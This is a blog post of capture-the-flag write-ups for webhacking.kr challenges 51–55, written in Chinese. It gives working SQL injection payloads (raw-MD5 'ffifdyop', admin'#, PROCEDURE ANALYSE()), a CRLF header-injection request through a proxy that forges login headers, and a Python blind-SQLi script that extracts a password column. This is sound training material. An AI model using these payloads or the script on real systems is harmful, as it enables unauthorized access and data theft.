webhacking.kr 一天五題系列 XI

Albert Huang MED student | CS enthusiast

old-51

本題考點:Raw MD5 SQL injection

是個登入頁面,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
if($_POST['id'] && $_POST['pw']){
$db = dbconnect();
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'],true);
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
if($result['id']) solve(51);
if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
}
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>

這題的問題在於第 19 行:

1
$input_pw = md5($_POST['pw'],true);

它給了一個 true 的參數,表示他會將 hash 表示為 \x00 形式的 raw bytes 輸出,因此如果裡面有一些特殊字元,例如 #' 等,就有可能繞過 SQL expression,稱為 Raw MD5 SQL injection。

可以參考這個範例:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md#raw-md5-and-sha1

因此我們的 payload 可以是:

  1. ffifdyop'or'6�]��!r,��b
  2. 129581926211651571912466741651878684928ÚT0D��o#ßÁ'or'8

小補充: SQL 會把數字開頭的字串轉變成那個數字,所以 ffifdyop 的案例就是 6

加入表達式後如下:

1
2
3
* ffifdyop
select id from chall51 where id='admin' and pw=''or'6�]��!r,��b'
= select id from chall51 where id='admin' and pw=''or6

登入即可過關。

old-52

本題考點:Basic SQLi、CRLF Injection / SSRF、Session Persistence over Proxy

這題給了一些提示:

1
2
3
Your mission is to access admin page
guest account is guest / guest
here is proxy just for fun

直接到 admin page 會需要登入,失敗後會顯示 Login Fail 並可以看 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
?><hr><a href=./?view_source=1>view-source</a>

在第 28 行登入的地方存在一個 SQL injection:

1
2
3
4
5
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";

沒有過濾任何東西,因此直接使用 admin'# 就可以登入成為 admin

1
2
3
hi admin
Only access from virtual IP address
[logout]

進入之後會發現 regex 限制了 IP 需要為 172.17.2.x 的格式。剛剛首頁還給了一個 proxy,來看看他做了什麼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
* URL:http://webhacking.kr:10008/proxy.php?page=/

Request
GET / HTTP/1.1
Host: webhacking.kr:10008
Connection: Close


Response
HTTP/1.1 200 OK
Date: Wed, 03 Jun 2026 08:32:28 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 159
Connection: close
Content-Type: text/html; charset=UTF-8

Your mission is to access admin page
guest account is guest / guest
here is proxy just for fun

我們可控的是 page 參數,來看一下換成剛剛我們登入的 /admin/ 頁面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
URL:http://webhacking.kr:10008/proxy.php?page=/admin/

Request
GET /admin/ HTTP/1.1
Host: webhacking.kr:10008
Connection: Close


Response
HTTP/1.0 401 Unauthorized
Date: Wed, 03 Jun 2026 08:34:41 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=vbaoklbn8tk2ia4rtajmb40m9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
WWW-Authenticate: Basic realm="Protected Area"
Content-Length: 55
Connection: close
Content-Type: text/html; charset=UTF-8

Login Fail
view-source

它看起來沒有針對 page 進行限制,因此我們可以使用 CRLF \r\n = %0d%0a 換行來構造我們想要的 payload,而它是使用 PHP_AUTH_USER,因此登入也可以直接在標頭設定:

1
2
3
4
5
6
7
/admin/ HTTP/1.1%0d%0aAuthorization: Basic YWRtaW4nIzptM3QzMHI=%0d%0aX-Ignore:
->
GET /admin/ HTTP/1.1
Authorization: Basic YWRtaW4nIzptM3QzMHI=
X-Ignore: HTTP/1.1
Host: webhacking.kr:10008
Connection: Close

YWRtaW4nIzptM3QzMHI=admin'#:m3t30r 的 base64 編碼,作為帳號與密碼登入,而 X-Ignore: 用來閉合多餘的 HTTP/1.1

但它登入後馬上跳回首頁,我們來看一下 source code 是發生什麼事:

1
2
3
4
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}

原來是他登入後會馬上跳回 ./,但跳回後就沒有登入的 SESSION 了(proxy 不會給),所以登入效果沒有保留,因此我們把我們自己的 PHPSSESID 也加入到 request 裡面就可以了。

1
2
3
4
5
6
7
8
/admin/ HTTP/1.1%0d%0aAuthorization: Basic YWRtaW4nIzptM3QzMHI=%0d%0aCookie: PHPSESSID=jv4dr101pta3u5eoen8iacn1pa%0d%0aX-Ignore:
->
GET /admin/ HTTP/1.1
Authorization: Basic YWRtaW4nIzptM3QzMHI=
Cookie: PHPSESSID=<my_phpsessid>
X-Ignore: HTTP/1.1
Host: webhacking.kr:10008
Connection: Close

因為是已經登入過的 PHPSESSID,因此把 Authorization 的部分拿掉也可以成功拿到 flag

old-53

本題考點:SQLi without SELECT、PROCEDURE ANALYSE() before MySQL 8.0

來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 53</title>
</head>
<body>
<?php
$db = dbconnect();
include "./tablename.php";
if($_GET['answer'] == $hidden_table) solve(53);
if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
echo($result[0]);
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

很明顯的我們要利用 SQL injection 找出 $hidden_table 的值,而且是會印出查詢結果的明文 SQL injection。

不過不能使用 SELECTBY,因此使用 information_schema 的方法不可行,簡單查詢了一下發現了一個 SQL 專屬的用法 PROCEDURE ANALYSE()
https://dev.mysql.com/doc/refman/5.7/en/procedure-analyse.html

它會分析前面 SELECT 查詢出來的資料欄位,並針對這些資料給出優化建議,但就會順便把 databasetable_name 等等印出來了,因此可以直接使用。

1
select a from $hidden_table where a=1 PROCEDURE ANALYSE()

拿到 table_name 之後送到 answer 參數裡面即可。

old-54

本題考點:靜態原始碼分析

這個題目頁面上很快的刷過 password 的內容,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script>
function run(){
if(window.ActiveXObject){
try {
return new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
try {
return new ActiveXObject('Microsoft.XMLHTTP');
} catch (e) {
return null;
}
}
}else if(window.XMLHttpRequest){
return new XMLHttpRequest();

}else{
return null;
}
}
x=run();
function answer(i){
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",20);
if(x.responseText=="") aview.innerHTML="?";
}
setTimeout("answer(0)",1000);
</script>

看起來重點是在這個 answer() 的 function,並且它會用參數的方式從後台拿 answer 出來,因此我們只要記錄他的 x.responseText 就可以拿到 answer。在 console 就可以完成:

1
2
3
4
5
6
7
8
9
10
11
var ans = "";
function answer(i){
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
ans += x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",20);
if(x.responseText=="") console.log(ans);
}
answer(0);

拿到 answer 後送出 Auth 即可。

old-55

本題考點:Boolean-based SQLi、PROCEDURE ANALYSE() before MySQL 8.0、substr 函數替代

看起來是個遊戲頁面,有三個分數,還有一個 rank 的連結,點進去看看會發現最下面有一行提示:

1
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

可以發現它有三個欄位,idscoreflag,每個使用者都會有這三個欄位,而它的 score 欄位有超連結,點進去可以發現我們可以操控 score 參數。而 trim 只能去掉字串前後的空格,因此可以試試看 SQL 表達式:

1
2
3
4
5
'、"、SELECT:no hack
1 or 1=1:
id : jisu8110 // 895
1 or 1=2:
id : Piterpan // 1

可以發現有兩種不同的 id 會在 true 或 false 出現,因此可以透過這個來進行 Blind SQL injection。

此外,因為不能用 SELECT,我們可以嘗試利用 PROCEDURE ANALYSE() 來獲得欄位資訊:

1
2
3
4
5
6
7
8
score=1 PROCEDURE ANALYSE()
-> id : webhacking.chall55.id //

score=1 LIMIT 1,1 PROCEDURE ANALYSE()
-> id : webhacking.chall55.score //

score=1 LIMIT 2,1 PROCEDURE ANALYSE()
id : webhacking.chall55.p4ssw0rd_1123581321 //

我們找到了 flag 的 column,而且表示他獲取的邏輯是 SELECT id, score, p4ssw0rd_1123581321 from chall55 ...,接下來只要利用 Python 來拿到 password 的值即可。但在測試途中發現不能使用 substr()mid(),因此使用 left() 來替代,並且用 right() 來切出最右邊的字元。

Python 實作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string

def get_length(exp):
length = 0
while True:
payload = f"LENGTH(({exp}))={length}"
params = {'score': f'1 or {payload}'}
r = requests.get('https://webhacking.kr/challenge/web-31/rank.php', params=params)
if 'jisu8110' in r.text:
return length
length += 1

def get_password(exp, length):
password = ''
for i in range(1, length+1):
for char in string.printable:
payload = f"RIGHT(LEFT(({exp}),{i}),1)={hex(ord(char))}"
params = {'score': f'1 or {payload}'}
r = requests.get('https://webhacking.kr/challenge/web-31/rank.php', params=params)
if 'jisu8110' in r.text:
password += char
print(password)
break
return password

password_length = get_length('p4ssw0rd_1123581321')
password = get_password('p4ssw0rd_1123581321', password_length)

執行後即可拿到 flag。

  • Title: webhacking.kr 一天五題系列 XI
  • Author: Albert Huang
  • Created at : 2026-06-26 13:56:36
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/26/webhacking-writeup-11/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 XI